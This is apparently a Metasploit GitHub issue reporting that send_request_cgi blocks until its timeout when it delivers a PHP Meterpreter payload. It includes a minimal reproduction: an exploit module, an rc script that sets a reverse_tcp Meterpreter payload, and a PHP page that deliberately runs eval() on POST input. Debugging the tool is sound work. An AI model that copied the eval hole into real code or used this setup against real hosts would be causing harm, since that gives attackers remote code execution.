Steps to reproduce

When using send_request_cgi to deliver payload.encoded the call hangs (since the payload is executed and does not return) so exploit() needs to wait the timeout (20s default) in order to terminate and allow to the meterpreter> shell to appear (even if the session is opened immediately).

I faced this issue in a module I'm writing, it's my first module actually so it's entirely possible that what I'm reporting is the desired behavior and I'm doing something wrong instead. But I feel I'm waiting the timeout unnecessarily here and it's pretty annoying. I know I can tune the timeout of send_request_cgi but that's not the point.

Follows a minimal example that reproduces the above:

1. in one terminal run php -S 127.0.0.1:8080;

2. in another run msfconsole -qr issue.rc.

Note how 1 is printed by the PHP server as soon as Meterpreter session 1 opened is printed by Metasploit, yet send_request_cgi must terminate with a timeout for the meterpreter> shell to appear.

Files

issue.rb (placed in ~/.msf4/modules/exploits/multi/http/):

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(
      update_info(
        info,
        'Name'          => 'test',
        'Platform'      => 'php',
        'Arch'          => ARCH_PHP,
        'Targets'       => [['Automatic', {}]],
        'DefaultTarget' => 0))
  end

  def exploit
    puts send_request_cgi(
      'method' => 'POST',
      'vars_post' => {
        'eval' => payload.encoded,
      }
    )
  end
end

issue.rc:

use exploit/multi/http/issue
set rhost 127.0.0.1
set rport 8080
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
run

index.php:

<?PHP
error_log("1");
eval($_POST['eval']);
error_log("2");

Expected behavior

The meterpreter> shell pops almost instantly.

Current behavior

The meterpreter> takes 20 seconds to show.

System stuff

Metasploit version

$ git log -1 --pretty=oneline
6a55227c56215a0582c6df790422316267813335 automatic module_metadata_base.json update

I installed Metasploit with:

• Kali package via apt
• Omnibus installer (nightly)
• Commercial/Community installer (from http://www.rapid7.com/products/metasploit/download.jsp)
• Source install (please specify ruby version)

$ ruby -v
ruby 2.6.2p47 (2019-03-13 revision 67232) [x86_64-linux]

OS

Debian GNU/Linux 9